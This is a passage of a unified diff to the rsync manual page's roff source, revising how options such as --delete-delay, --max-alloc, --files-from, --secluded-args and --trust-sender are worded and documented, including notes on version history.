added\n+in rsync version 2.6.4.  See \\fB\\-\\-delete\\fP (which is implied) for more\n details on file-deletion.\n-.IP \"\\fB\\-\\-delete\\-delay\\fP\"\n+.IP \"\\fB\\-\\-delete-delay\\fP\"\n Request that the file-deletions on the receiving side be computed during\n-the transfer (like \\fB\\-\\-delete\\-during\\fP), and then removed after the\n+the transfer (like \\fB\\-\\-delete-during\\fP), and then removed after the\n transfer completes.  This is useful when combined with\n-\\fB\\-\\-delay\\-updates\\fP and/or \\fB\\-\\-fuzzy\\fP, and is more efficient\n-than using \\fB\\-\\-delete\\-after\\fP, but can behave differently, since\n-\\fB\\-\\-delete\\-after\\fP computes the deletions in a separate pass after\n-all updates are done.  If the number of removed files overflows an\n+\\fB\\-\\-delay-updates\\fP and/or \\fB\\-\\-fuzzy\\fP, and is more efficient\n+than using \\fB\\-\\-delete-after\\fP (but can behave differently, since\n+\\fB\\-\\-delete-after\\fP computes the deletions in a separate pass after\n+all updates are done).  If the number of removed files overflows an\n internal buffer, a temporary file will be created on the receiving side to\n hold the names (it is removed while open, so you shouldn't see it during\n the transfer).  If the creation of the temporary file fails, rsync will try\n-to fall back to using \\fB\\-\\-delete\\-after\\fP (which it cannot do if\n+to fall back to using \\fB\\-\\-delete-after\\fP (which it cannot do if\n \\fB\\-\\-recursive\\fP is doing an incremental scan).  See\n \\fB\\-\\-delete\\fP (which is implied) for more details on file-deletion.\n-.IP \"\\fB\\-\\-delete\\-after\\fP\"\n+.IP \"\\fB\\-\\-delete-after\\fP\"\n Request that the file-deletions on the receiving side be done after the\n transfer has completed.  This is useful if you are sending new\n per-directory merge files as a part of the transfer and you want their\n@@ -2301,9 +2049,9 @@ requires rsync to scan all the files in the transfer into memory at once\n (see \\fB\\-\\-recursive\\fP). See \\fB\\-\\-delete\\fP (which is implied) for\n more details on file-deletion.\n .IP\n-See also the \\fB\\-\\-delete\\-delay\\fP option that might be a faster choice\n+See also the \\fB\\-\\-delete-delay\\fP option that might be a faster choice\n for those that just want the deletions to occur at the end of the transfer.\n-.IP \"\\fB\\-\\-delete\\-excluded\\fP\"\n+.IP \"\\fB\\-\\-delete-excluded\\fP\"\n This option turns any unqualified exclude/include rules into server-side\n rules that do not affect the receiver's deletions.\n .IP\n@@ -2322,16 +2070,16 @@ the corresponding includes).\n .IP\n See the FILTER RULES section for more information.  See\n \\fB\\-\\-delete\\fP (which is implied) for more details on deletion.\n-.IP \"\\fB\\-\\-ignore\\-missing\\-args\\fP\"\n+.IP \"\\fB\\-\\-ignore-missing-args\\fP\"\n When rsync is first processing the explicitly requested source files (e.g.\n-command-line arguments or \\fB\\-\\-files\\-from\\fP entries), it is normally\n+command-line arguments or \\fB\\-\\-files-from\\fP entries), it is normally\n an error if the file cannot be found.  This option suppresses that error,\n and does not try to transfer the file.  This does not affect subsequent\n vanished-file errors if a file was initially found to be present and later\n is no longer there.\n-.IP \"\\fB\\-\\-delete\\-missing\\-args\\fP\"\n+.IP \"\\fB\\-\\-delete-missing-args\\fP\"\n This option takes the behavior of the (implied)\n-\\fB\\-\\-ignore\\-missing\\-args\\fP option a step farther: each missing argument\n+\\fB\\-\\-ignore-missing-args\\fP option a step farther: each missing arg\n will become a deletion request of the corresponding destination file on the\n receiving side (should it exist).  If the destination file is a non-empty\n directory, it will only be successfully deleted if \\fB\\-\\-force\\fP or\n@@ -2339,32 +2087,36 @@ directory, it will only be successfully deleted if \\fB\\-\\-force\\fP or\n independent of any other type of delete processing.\n .IP\n The missing source files are represented by special file-list entries which\n-display as a \"\\fB*missing\\fP\" entry in the \\fB\\-\\-list\\-only\\fP output.\n-.IP \"\\fB\\-\\-ignore\\-errors\\fP\"\n+display as a \"\\fB*missing\\fP\" entry in the \\fB\\-\\-list-only\\fP output.\n+.IP \"\\fB\\-\\-ignore-errors\\fP\"\n Tells \\fB\\-\\-delete\\fP to go ahead and delete files even when there are\n I/O errors.\n .IP \"\\fB\\-\\-force\\fP\"\n This option tells rsync to delete a non-empty directory when it is to be\n replaced by a non-directory.  This is only relevant if deletions are not\n active (see \\fB\\-\\-delete\\fP for details).\n-.IP \"\\fB\\-\\-max\\-delete=NUM\\fP\"\n+.IP\n+Note for older rsync versions: \\fB\\-\\-force\\fP used to still be required when\n+using \\fB\\-\\-delete-after\\fP, and it used to be non-functional unless the\n+\\fB\\-\\-recursive\\fP option was also enabled.\n+.IP \"\\fB\\-\\-max-delete=NUM\\fP\"\n This tells rsync not to delete more than NUM files or directories.  If that\n limit is exceeded, all further deletions are skipped through the end of the\n transfer.  At the end, rsync outputs a warning (including a count of the\n skipped deletions) and exits with an error code of 25 (unless some more\n important error condition also occurred).\n .IP\n-You may specify \\fB\\-\\-max\\-delete=0\\fP to be warned\n+Beginning with version 3.0.0, you may specify \\fB\\-\\-max-delete=0\\fP to be warned\n about any extraneous files in the destination without removing any of them.\n-CAUTION: a client rsync older than 3.0.0 (March 2008) treats\n-\\fB\\-\\-max\\-delete=0\\fP as unlimited, so use \\fB\\-\\-max\\-delete=\\-1\\fP if the command\n-might be run by such an old rsync.  (A 3.0.0 or newer client protects an\n-older remote by forwarding the option as \\fB\\-\\-max\\-delete=\\-1\\fP.)\n-.IP \"\\fB\\-\\-max\\-size=SIZE\\fP\"\n+Older clients interpreted this as \"unlimited\", so if you don't know what\n+version the client is, you can use the less obvious \\fB\\-\\-max-delete=\\-1\\fP as a\n+backward-compatible way to specify that no deletions be allowed (though\n+really old versions didn't warn when the limit was exceeded).\n+.IP \"\\fB\\-\\-max-size=SIZE\\fP\"\n This tells rsync to avoid transferring any file that is larger than the\n specified SIZE.  A numeric value can be suffixed with a string to indicate\n-the numeric units or left unqualified to specify bytes, and the numeric\n-value can have a fractional part, such as \\fB\\-\\-max\\-size=1.5m\\fP.\n+the numeric units or left unqualified to specify bytes.  Feel free to use a\n+fractional value along with the units, such as \\fB\\-\\-max-size=1.5m\\fP.\n .IP\n This option is a TRANSFER RULE, so don't expect any\n exclude side effects.\n@@ -2380,61 +2132,52 @@ Finally, if the string ends with either \"+1\" or \"\\-1\", it is offset by one\n byte in the indicated direction.  The largest possible value is usually\n \\fB8192P-1\\fP.\n .IP\n-Examples: \\fB\\-\\-max\\-size=1.5mb-1\\fP is 1499999 bytes, and \\fB\\-\\-max\\-size=2g+1\\fP is\n+Examples: \\fB\\-\\-max-size=1.5mb-1\\fP is 1499999 bytes, and \\fB\\-\\-max-size=2g+1\\fP is\n 2147483649 bytes.\n-.IP \"\\fB\\-\\-min\\-size=SIZE\\fP\"\n+.IP\n+Note that rsync versions prior to 3.1.0 did not allow \\fB\\-\\-max-size=0\\fP.\n+.IP \"\\fB\\-\\-min-size=SIZE\\fP\"\n This tells rsync to avoid transferring any file that is smaller than the\n specified SIZE, which can help in not transferring small, junk files.  See\n-the \\fB\\-\\-max\\-size\\fP option for a description of SIZE and other info.\n-.IP \"\\fB\\-\\-max\\-alloc=SIZE\\fP\"\n+the \\fB\\-\\-max-size\\fP option for a description of SIZE and other info.\n+.IP\n+Note that rsync versions prior to 3.1.0 did not allow \\fB\\-\\-min-size=0\\fP.\n+.IP \"\\fB\\-\\-max-alloc=SIZE\\fP\"\n By default rsync limits an individual malloc/realloc to about 1GB in size.\n For most people this limit works just fine and prevents a protocol error\n causing rsync to request massive amounts of memory.  However, if you have\n many millions of files in a transfer, a large amount of server memory, and\n you don't want to split up your transfer into multiple parts, you can\n-increase the per-allocation limit to something larger, allowing rsync to\n+increase the per-allocation limit to something larger and rsync will\n consume more memory.\n .IP\n Keep in mind that this is not a limit on the total size of allocated\n memory.  It is a sanity-check value for each individual allocation.\n .IP\n-See the \\fB\\-\\-max\\-size\\fP option for a description of how SIZE can be\n+See the \\fB\\-\\-max-size\\fP option for a description of how SIZE can be\n specified.  The default suffix if none is given is bytes.\n .IP\n-A value of 0 is an easy way to say \"the largest limit this build supports\".\n-It resolves to the same ceiling an explicit SIZE is checked against, so it\n-is never a higher limit than one you could have typed out yourself.\n-.IP\n-Because the option is passed to the remote rsync as you wrote it, each side\n-resolves a 0 against its own maximum.  That makes 0 the only spelling that\n-is correct for both ends of a transfer between hosts of different word\n-sizes: a literal value large enough to be useful on a 64-bit client is\n-rejected as too large by a 32-bit daemon.\n-.IP\n-A value of 0 was accepted beginning in 3.2.3 and rejected in 3.5.0; the\n-release after 3.5.0 accepts it again.\n-.IP\n-A daemon administrator who does not want clients to change the configured\n-allocation ceiling can set \\fBrefuse\\ options\\ =\\ max-alloc\\fP in the module's\n-\\fBrsyncd.conf\\fP.  This refuses every client-supplied value, including 0.\n+Beginning in 3.2.7, a value of 0 is an easy way to specify SIZE_MAX (the\n+largest limit possible).\n .IP\n You can set a default value using the environment variable\n \\fBRSYNC_MAX_ALLOC\\fP using the same SIZE values as supported by this\n-option.  If the remote rsync doesn't understand the \\fB\\-\\-max\\-alloc\\fP option,\n-you can override an environmental value by specifying \\fB\\-\\-max\\-alloc=1g\\fP,\n+option.  If the remote rsync doesn't understand the \\fB\\-\\-max-alloc\\fP option,\n+you can override an environmental value by specifying \\fB\\-\\-max-alloc=1g\\fP,\n which will make rsync avoid sending the option to the remote side (because\n \"1G\" is the default).\n-.IP \"\\fB\\-\\-block\\-size=SIZE\\fP, \\fB\\-B\\fP\"\n+.IP \"\\fB\\-\\-block-size=SIZE\\fP, \\fB\\-B\\fP\"\n This forces the block size used in rsync's delta-transfer algorithm to a\n fixed value.  It is normally selected based on the size of each file being\n updated.  See the technical report for details.\n .IP\n-The SIZE can be specified with a suffix as detailed in\n-the \\fB\\-\\-max\\-size\\fP option.\n+Beginning in 3.2.3 the SIZE can be specified with a suffix as detailed in\n+the \\fB\\-\\-max-size\\fP option.  Older versions only accepted a byte count.\n .IP \"\\fB\\-\\-rsh=COMMAND\\fP, \\fB\\-e\\fP\"\n This option allows you to choose an alternative remote shell program to use\n for communication between the local and remote copies of rsync.  Typically,\n-rsync is configured to use ssh by default.\n+rsync is configured to use ssh by default, but you may prefer to use rsh on\n+a local network.\n .IP\n If this option is used with \\fB[user@]host::module/path\\fP, then the remote\n shell \\fICOMMAND\\fP will be used to run an rsync daemon on the remote host, and\n@@ -2443,19 +2186,18 @@ than through a direct socket connection to a running rsync daemon on the\n remote host.  See the USING RSYNC-DAEMON FEATURES VIA A REMOTE-SHELL\n CONNECTION section above.\n .IP\n-The \\fBRSYNC_PORT\\fP environment variable will\n+Beginning with rsync 3.2.0, the \\fBRSYNC_PORT\\fP environment variable will\n be set when a daemon connection is being made via a remote-shell\n connection.  It is set to 0 if the default daemon port is being assumed, or\n it is set to the value of the rsync port that was specified via either the\n-\\fB\\-\\-port\\fP option or a non-empty port value in an \\fBrsync://\\fP URL (for\n-example \\fBrsync://host.example.com:984\\fP).  This is useful if the program\n-being run is not actually rsync but rather something such as an SSL or\n-stunnel helper script; the script can use \\fBRSYNC_PORT\\fP to determine whether\n-it should connect to a default or alternate port.\n+\\fB\\-\\-port\\fP option or a non-empty port value in an \\fBrsync://\\fP URL.\n+This allows the script to discern if a non-default port is being requested,\n+allowing for things such as an SSL or stunnel helper script to connect to a\n+default or alternate port.\n .IP\n Command-line arguments are permitted in COMMAND provided that COMMAND is\n presented to rsync as a single argument.  You must use spaces (not tabs or\n-other whitespace) to separate the command and arguments from each other, and you\n+other whitespace) to separate the command and args from each other, and you\n can use single- and/or double-quotes to preserve spaces in an argument (but\n not backslashes).  Note that doubling a single-quote inside a single-quoted\n string gives you a single-quote; likewise for double-quotes (though you\n@@ -2475,12 +2217,12 @@ options in their .ssh/config file.)\n You can also choose the remote shell program using the \\fBRSYNC_RSH\\fP\n environment variable, which accepts the same range of values as \\fB\\-e\\fP.\n .IP\n-See also the \\fB\\-\\-blocking\\-io\\fP option which is affected by this\n+See also the \\fB\\-\\-blocking-io\\fP option which is affected by this\n option.\n-.IP \"\\fB\\-\\-rsync\\-path=PROGRAM\\fP\"\n+.IP \"\\fB\\-\\-rsync-path=PROGRAM\\fP\"\n Use this to specify what program is to be run on the remote machine to\n start-up rsync.  Often used when rsync is not in the default remote-shell's\n-path (e.g. \\fB\\-\\-rsync\\-path=/usr/local/bin/rsync\\fP).  Note that PROGRAM is run\n+path (e.g. \\fB\\-\\-rsync-path=/usr/local/bin/rsync\\fP).  Note that PROGRAM is run\n with the help of a shell, so it can be any program, script, or command\n sequence you'd care to run, so long as it does not corrupt the standard-in\n & standard-out that rsync is using to communicate.\n@@ -2493,10 +2235,10 @@ machine for use with the \\fB\\-\\-relative\\fP option.  For instance:\n rsync -avR --rsync-path=\"cd /a/b && rsync\" host:c/d /e/\n .fi\n .RE\n-.IP \"\\fB\\-\\-remote\\-option=OPTION\\fP, \\fB\\-M\\fP\"\n+.IP \"\\fB\\-\\-remote-option=OPTION\\fP, \\fB\\-M\\fP\"\n This option is used for more advanced situations where you want certain\n effects to be limited to one side of the transfer only.  For instance, if\n-you want to pass \\fB\\-\\-log\\-file=FILE\\fP and \\fB\\-\\-fake\\-super\\fP to\n+you want to pass \\fB\\-\\-log-file=FILE\\fP and \\fB\\-\\-fake-super\\fP to\n the remote system, specify it like this:\n .RS 4\n .IP\n@@ -2521,18 +2263,18 @@ the socket, and that will make it fail in a cryptic fashion.\n .IP\n Note that you should use a separate \\fB\\-M\\fP option for each remote option you\n want to pass.  On older rsync versions, the presence of any spaces in the\n-remote-option argument could cause it to be split into separate remote arguments, but\n-this requires the use of \\fB\\-\\-old\\-args\\fP in a modern rsync.\n+remote-option arg could cause it to be split into separate remote args, but\n+this requires the use of \\fB\\-\\-old-args\\fP in a modern rsync.\n .IP\n When performing a local transfer, the \"local\" side is the sender and the\n \"remote\" side is the receiver.\n .IP\n Note some versions of the popt option-parsing library have a bug in them\n-that prevents you from using an adjacent argument with an equal in it next to a\n-short option letter (e.g. \\fB\\-M\\-\\-log\\-file=/tmp/foo\\fP).  If this bug affects\n+that prevents you from using an adjacent arg with an equal in it next to a\n+short option letter (e.g. \\fB\\-M\\-\\-log-file=/tmp/foo\\fP).  If this bug affects\n your version of popt, you can use the version of popt that is included with\n rsync.\n-.IP \"\\fB\\-\\-cvs\\-exclude\\fP, \\fB\\-C\\fP\"\n+.IP \"\\fB\\-\\-cvs-exclude\\fP, \\fB\\-C\\fP\"\n This is a useful shorthand for excluding a broad range of files that you\n often don't want to transfer between systems.  It uses a similar algorithm\n to CVS to determine if a file should be ignored.\n@@ -2608,8 +2350,8 @@ combination with a recursive transfer.\n You may use as many \\fB\\-\\-filter\\fP options on the command line as you like to\n build up the list of files to exclude.  If the filter contains whitespace,\n be sure to quote it so that the shell gives the rule to rsync as a single\n-argument.  You can use an underscore instead of a space to separate a rule\n-from its argument.\n+argument.  The text below also mentions that you can use an underscore to\n+replace the space that separates a rule from its arg.\n .IP\n See the FILTER RULES section for detailed information on this option.\n .IP \"\\fB\\-F\\fP\"\n@@ -2643,7 +2385,7 @@ specifies an exclude rule and does not allow the full rule-parsing syntax\n of normal filter rules.  This is equivalent to specifying \\fB\\-f'\\-\\ PATTERN'\\fP.\n .IP\n See the FILTER RULES section for detailed information on this option.\n-.IP \"\\fB\\-\\-exclude\\-from=FILE\\fP\"\n+.IP \"\\fB\\-\\-exclude-from=FILE\\fP\"\n This option is related to the \\fB\\-\\-exclude\\fP option, but it specifies\n a FILE that contains exclude patterns (one per line).  Blank lines in the\n file are ignored, as are whole-line comments that start with '\\fB;\\fP' or '\\fB#\\fP'\n@@ -2663,7 +2405,7 @@ specifies an include rule and does not allow the full rule-parsing syntax\n of normal filter rules.  This is equivalent to specifying \\fB\\-f'+\\ PATTERN'\\fP.\n .IP\n See the FILTER RULES section for detailed information on this option.\n-.IP \"\\fB\\-\\-include\\-from=FILE\\fP\"\n+.IP \"\\fB\\-\\-include-from=FILE\\fP\"\n This option is related to the \\fB\\-\\-include\\fP option, but it specifies\n a FILE that contains include patterns (one per line).  Blank lines in the\n file are ignored, as are whole-line comments that start with '\\fB;\\fP' or '\\fB#\\fP'\n@@ -2677,9 +2419,9 @@ If a line consists of just \"\\fB!\\fP\", then the current filter rules are cleared\n before adding any further rules.\n .IP\n If \\fIFILE\\fP is '\\fB\\-\\fP', the list will be read from standard input.\n-.IP \"\\fB\\-\\-files\\-from=FILE\\fP\"\n-Using this option tells rsync to read the exact list of files to transfer\n-from FILE (or standard input if FILE is '\\fB\\-\\fP').  It also\n+.IP \"\\fB\\-\\-files-from=FILE\\fP\"\n+Using this option allows you to specify the exact list of files to transfer\n+(as read from the specified FILE or '\\fB\\-\\fP' for standard input).  It also\n tweaks the default behavior of rsync to make transferring just the\n specified files and directories easier:\n .IP\n@@ -2687,34 +2429,24 @@ specified files and directories easier:\n .IP o\n The \\fB\\-\\-relative\\fP (\\fB\\-R\\fP) option is implied, which preserves the\n path information that is specified for each item in the file (use\n-\\fB\\-\\-no\\-relative\\fP or \\fB\\-\\-no\\-R\\fP if you want to turn that off).\n+\\fB\\-\\-no-relative\\fP or \\fB\\-\\-no-R\\fP if you want to turn that off).\n .IP o\n The \\fB\\-\\-dirs\\fP (\\fB\\-d\\fP) option is implied, which will create\n directories specified in the list on the destination rather than noisily\n-skipping them (use \\fB\\-\\-no\\-dirs\\fP or \\fB\\-\\-no\\-d\\fP if you want to turn that off).\n+skipping them (use \\fB\\-\\-no-dirs\\fP or \\fB\\-\\-no-d\\fP if you want to turn that off).\n .IP o\n The \\fB\\-\\-archive\\fP (\\fB\\-a\\fP) option's behavior does not imply\n \\fB\\-\\-recursive\\fP (\\fB\\-r\\fP), so specify it explicitly, if you want it.\n .IP o\n These side-effects change the default state of rsync, so the position of\n-the \\fB\\-\\-files\\-from\\fP option on the command-line has no bearing on how other\n+the \\fB\\-\\-files-from\\fP option on the command-line has no bearing on how other\n options are parsed (e.g. \\fB\\-a\\fP works the same before or after\n-\\fB\\-\\-files\\-from\\fP, as does \\fB\\-\\-no\\-R\\fP and all other options).\n+\\fB\\-\\-files-from\\fP, as does \\fB\\-\\-no-R\\fP and all other options).\n .RE\n .IP\n-Listing individual files with \\fB\\-\\-files\\-from\\fP does not make unlisted\n-siblings eligible for deletion.  The \\fB\\-\\-delete\\fP option only removes\n-entries from directories whose complete contents are being synchronised,\n-so list the directory itself and enable recursion if that deletion scope is\n-intended.\n-.IP\n The filenames that are read from the FILE are all relative to the source\n-directory: any leading slash is removed, and \"..\" components are resolved away so\n-an entry cannot rise above the source directory\\ \\-\\- e.g. \"../foo\" is taken as \"foo\"\n-within the source directory.  An entry that still contains an active \"..\" after\n-that resolution (one that cannot be collapsed) is rejected with an error.\n-Blank entries are ignored, as are whole-entry comments that start with '\\fB;\\fP'\n-or '\\fB#\\fP'.  For example, take this command:\n+dir\\ \\-\\- any leading slashes are removed and no \"..\" references are allowed\n+to go higher than the source dir.  For example, take this command:\n .RS 4\n .IP\n .nf\n@@ -2725,16 +2457,16 @@ rsync -a --files-from=/tmp/foo /usr remote:/backup\n If /tmp/foo contains the string \"bin\" (or even \"/bin\"), the /usr/bin\n directory will be created as /backup/bin on the remote host.  If it\n contains \"bin/\" (note the trailing slash), the immediate contents of the\n-directory would also be sent, without needing to be explicitly mentioned in\n-the file.  In both cases, if the\n-\\fB\\-r\\fP option was enabled, that directory's entire hierarchy would also be\n+directory would also be sent (without needing to be explicitly mentioned in\n+the file\\ \\-\\- this began in version 2.6.4).  In both cases, if the\n+\\fB\\-r\\fP option was enabled, that dir's entire hierarchy would also be\n transferred (keep in mind that \\fB\\-r\\fP needs to be specified\n-explicitly with \\fB\\-\\-files\\-from\\fP, since it is not implied by \\fB\\-a\\fP.\n+explicitly with \\fB\\-\\-files-from\\fP, since it is not implied by \\fB\\-a\\fP.\n Also note that the effect of the (enabled by default) \\fB\\-r\\fP option\n is to duplicate only the path info that is read from the file\\ \\-\\- it does\n not force the duplication of the source-spec path (/usr in this case).\n .IP\n-In addition, the \\fB\\-\\-files\\-from\\fP file can be read from the remote host\n+In addition, the \\fB\\-\\-files-from\\fP file can be read from the remote host\n instead of the local host if you specify a \"host:\" in front of the file\n (the host must match one end of the transfer).  As a short-cut, you can\n specify just a prefix of \":\" to mean \"use the remote end of the transfer\".\n@@ -2749,37 +2481,37 @@ rsync -a --files-from=:/path/file-list src:/ /tmp/copy\n This would copy all the files specified in the /path/file-list file that\n was located on the remote \"src\" host.\n .IP\n-If the \\fB\\-\\-iconv\\fP and \\fB\\-\\-secluded\\-args\\fP options are specified\n-and the \\fB\\-\\-files\\-from\\fP filenames are being sent from one host to another,\n+If the \\fB\\-\\-iconv\\fP and \\fB\\-\\-secluded-args\\fP options are specified\n+and the \\fB\\-\\-files-from\\fP filenames are being sent from one host to another,\n the filenames will be translated from the sending host's charset to the\n receiving host's charset.\n .IP\n-NOTE: sorting the list of files in the \\fB\\-\\-files\\-from\\fP input helps rsync to\n+NOTE: sorting the list of files in the \\fB\\-\\-files-from\\fP input helps rsync to\n be more efficient, as it will avoid re-visiting the path elements that are\n shared between adjacent entries.  If the input is not sorted, some path\n elements (implied directories) may end up being scanned multiple times, and\n rsync will eventually unduplicate them after they get turned into file-list\n elements.\n .IP \"\\fB\\-\\-from0\\fP, \\fB\\-0\\fP\"\n-This tells rsync that the rules or filenames it reads from a file are\n+This tells rsync that the rules/filenames it reads from a file are\n terminated by a null ('\\\\0') character, not a NL, CR, or CR+LF.  This\n-affects \\fB\\-\\-exclude\\-from\\fP, \\fB\\-\\-include\\-from\\fP,\n-\\fB\\-\\-files\\-from\\fP, and any merged files specified in a\n-\\fB\\-\\-filter\\fP rule.  It does not affect \\fB\\-\\-cvs\\-exclude\\fP (since\n+affects \\fB\\-\\-exclude-from\\fP, \\fB\\-\\-include-from\\fP,\n+\\fB\\-\\-files-from\\fP, and any merged files specified in a\n+\\fB\\-\\-filter\\fP rule.  It does not affect \\fB\\-\\-cvs-exclude\\fP (since\n all names read from a .cvsignore file are split on whitespace).\n-.IP \"\\fB\\-\\-old\\-args\\fP\"\n-This option tells rsync not to protect the argument values sent to the\n+.IP \"\\fB\\-\\-old-args\\fP\"\n+This option tells rsync to stop trying to protect the arg values on the\n remote side from unintended word-splitting or other misinterpretation.\n-It also allows the client to treat an empty argument as a \".\" instead of\n+It also allows the client to treat an empty arg as a \".\" instead of\n generating an error.\n .IP\n The default in a modern rsync is for \"shell-active\" characters (including\n-spaces) to be backslash-escaped in the arguments that are sent to the remote\n+spaces) to be backslash-escaped in the args that are sent to the remote\n shell.  The wildcard characters \\fB*\\fP, \\fB?\\fP, \\fB[\\fP, & \\fB]\\fP are not escaped in\n-filename arguments (allowing them to expand into multiple filenames) while being\n-protected in option arguments, such as \\fB\\-\\-usermap\\fP.\n+filename args (allowing them to expand into multiple filenames) while being\n+protected in option args, such as \\fB\\-\\-usermap\\fP.\n .IP\n-If you have a script that wants to use old-style argument splitting in its\n+If you have a script that wants to use old-style arg splitting in its\n filenames, specify this option once.  If the remote shell has a problem\n with any backslash escapes at all, specify this option twice.\n .IP\n@@ -2788,66 +2520,65 @@ variable.  If it has the value \"1\", rsync will default to a single-option\n setting.  If it has the value \"2\" (or more), rsync will default to a\n repeated-option setting.  If it is \"0\", you'll get the default escaping\n behavior.  The environment is always overridden by manually specified\n-positive or negative options (the negative is \\fB\\-\\-no\\-old\\-args\\fP).\n+positive or negative options (the negative is \\fB\\-\\-no-old-args\\fP).\n .IP\n-Note that this option also disables the extra safety check\n+Note that this option also disables the extra safety check added in 3.2.5\n that ensures that a remote sender isn't including extra top-level items in\n the file-list that you didn't request.  This side-effect is necessary\n because we can't know for sure what names to expect when the remote shell\n-is interpreting the arguments.\n+is interpreting the args.\n .IP\n-This option conflicts with the \\fB\\-\\-secluded\\-args\\fP option.\n-.IP \"\\fB\\-\\-secluded\\-args\\fP, \\fB\\-s\\fP\"\n+This option conflicts with the \\fB\\-\\-secluded-args\\fP option.\n+.IP \"\\fB\\-\\-secluded-args\\fP, \\fB\\-s\\fP\"\n This option sends all filenames and most options to the remote rsync via\n-the protocol (rather than via the remote shell command line), which avoids\n-the possibility of the remote shell modifying them.\n-Wildcards are expanded on the remote host by rsync instead of a shell.\n+the protocol (not the remote shell command line) which avoids letting the\n+remote shell modify them.  Wildcards are expanded on the remote host by\n+rsync instead of a shell.\n+.IP\n+This is similar to the default backslash-escaping of args that was added\n+in 3.2.4 (see \\fB\\-\\-old-args\\fP) in that it prevents things like space\n+splitting and unwanted special-character side-effects. However, it has the\n+drawbacks of being incompatible with older rsync versions (prior to 3.0.0)\n+and of being refused by restricted shells that want to be able to inspect\n+all the option values for safety.\n .IP\n-Without this option, rsync does backslash-escaping of arguments to prevent\n-things like space splitting and unwanted special-character side-effects,\n-which is normally sufficient to avoid unwanted modifications by the shell.\n This option is useful for those times that you need the argument's\n character set to be converted for the remote host, if the remote shell is\n-incompatible with the default backslash-escaping method, or there is some\n+incompatible with the default backslash-escpaing method, or there is some\n other reason that you want the majority of the options and arguments to\n bypass the command-line of the remote shell.\n .IP\n-This option is incompatible with remote rsync versions prior to 3.0.0\n-(March 2008).  It also has the drawback of being refused by restricted\n-shells that want to be able to inspect all the option values for safety.\n-.IP\n-If you combine this option with \\fB\\-\\-iconv\\fP, the arguments related to the\n+If you combine this option with \\fB\\-\\-iconv\\fP, the args related to the\n remote side will be translated from the local to the remote character-set.\n The translation happens before wild-cards are expanded.  See also the\n-\\fB\\-\\-files\\-from\\fP option.\n+\\fB\\-\\-files-from\\fP option.\n .IP\n You may also control this setting via the \\fBRSYNC_PROTECT_ARGS\\fP\n environment variable.  If it has a non-zero value, this setting will be\n enabled by default, otherwise it will be disabled by default.  Either state\n is overridden by a manually specified positive or negative version of this\n-option (note that \\fB\\-\\-no\\-s\\fP and \\fB\\-\\-no\\-secluded\\-args\\fP are the negative\n+option (note that \\fB\\-\\-no-s\\fP and \\fB\\-\\-no-secluded-args\\fP are the negative\n versions).  This environment variable is also superseded by a non-zero\n-\\fBRSYNC_OLD_ARGS\\fP environment variable.\n+\\fBRSYNC_OLD_ARGS\\fP export.\n .IP\n-This option conflicts with the \\fB\\-\\-old\\-args\\fP option.\n+This option conflicts with the \\fB\\-\\-old-args\\fP option.\n .IP\n-This option used to be called \\fB\\-\\-protect\\-args\\fP (before 3.2.6, September\n-2022) and that\n+This option used to be called \\fB\\-\\-protect-args\\fP (before 3.2.6) and that\n older name can still be used (though specifying it as \\fB\\-s\\fP is always the\n easiest and most compatible choice).\n-.IP \"\\fB\\-\\-trust\\-sender\\fP\"\n+.IP \"\\fB\\-\\-trust-sender\\fP\"\n This option disables two extra validation checks that a local client\n performs on the file list generated by a remote sender.  This option should\n only be used if you trust the sender to not put something malicious in the\n file list (something that could possibly be done via a modified rsync, a\n modified shell, or some other similar manipulation).\n .IP\n-Normally, the rsync client runs two extra validation\n+Normally, the rsync client (as of version 3.2.5) runs two extra validation\n checks when pulling files from a remote rsync:\n .IP\n .RS\n .IP o\n-It verifies that additional argument items didn't get added at the top of the\n+It verifies that additional arg items didn't get added at the top of the\n transfer.\n .IP o\n It verifies that none of the items in the file list are names that should\n@@ -2862,32 +2593,31 @@ option interferes with the validation.  For instance:\n Using a per-directory filter file reads filter rules that only the server\n knows about, so the filter checking is disabled.\n .IP o\n-Using the \\fB\\-\\-old\\-args\\fP option allows the sender to manipulate the\n-requested arguments, so the argument checking is disabled.\n+Using the \\fB\\-\\-old-args\\fP option allows the sender to manipulate the\n+requested args, so the arg checking is disabled.\n .IP o\n Reading the files-from list from the server side means that the client\n-doesn't know the argument list, so the argument checking is disabled.\n+doesn't know the arg list, so the arg checking is disabled.\n .IP o\n-Using \\fB\\-\\-read\\-batch\\fP disables both checks since the batch file's\n+Using \\fB\\-\\-read-batch\\fP disables both checks since the batch file's\n contents will have been verified when it was created.\n .RE\n .IP\n This option may help an under-powered client server if the extra pattern\n-matching is slowing things down on a huge transfer.  It could also be used\n-for a transfer from a trusted sender as a workaround if there appeared to\n-be a bug in the verification logic.\n+matching is slowing things down on a huge transfer.  It can also be used to\n+work around a currently-unknown bug in the verification logic for a transfer\n+from a trusted sender.\n .IP\n When using this option it is a good idea to specify a dedicated destination\n-directory, as discussed in the SECURITY section.\n-.IP \"\\fB\\-\\-copy\\-as=USER[:GROUP]\\fP\"\n+directory, as discussed in the MULTI-HOST SECURITY section.\n+.IP \"\\fB\\-\\-copy-as=USER[:GROUP]\\fP\"\n This option instructs rsync to use the USER and (if specified after a\n colon) the GROUP for the copy operations.  This only works if the user that\n is running rsync has the ability to change users.  If the group is not\n specified then the user's default groups are used.\n .IP\n-This option can help to reduce the risk in the case where rsync is being\n-run as root, copying into or out of a directory that might have live\n-changes happening to it, and you\n+This option can help to reduce the risk of an rsync being run as root into\n+or out of a directory that might have live changes happening to it and you\n want to make sure that root-level read or write actions of system files are\n not possible.  While you could alternatively run all of rsync as the\n specified user, sometimes you need the root-level host-access credentials\n@@ -2896,13 +2626,13 @@ operation after the remote-shell or daemon connection is established.\n .IP\n The option only affects one side of the transfer unless the transfer is\n local, in which case it affects both sides.  Use the\n-\\fB\\-\\-remote\\-option\\fP to affect the remote side, such as\n-\\fB\\-M\\-\\-copy\\-as=joe\\fP.  For a local transfer, the lsh (or lsh.sh) support file\n+\\fB\\-\\-remote-option\\fP to affect the remote side, such as\n+\\fB\\-M\\-\\-copy-as=joe\\fP.  For a local transfer, the lsh (or lsh.sh) support file\n provides a local-shell helper script that can be used to allow a\n \"localhost:\" or \"lh:\" host-spec to be specified without needing to setup\n any remote shells, allowing you to specify remote options that affect the\n side of the transfer that is using the host-spec (and using hostname \"lh\"\n-avoids the overriding of the remote directory to the user's home directory).\n+avoids the overriding of the remote directory to the user's home dir).\n .IP\n For example, the following rsync writes the local files as user \"joe\":\n .RS 4\n@@ -2917,21 +2647,21 @@ are available to that user, and makes it impossible for the joe user to do\n a timed exploit of the path to 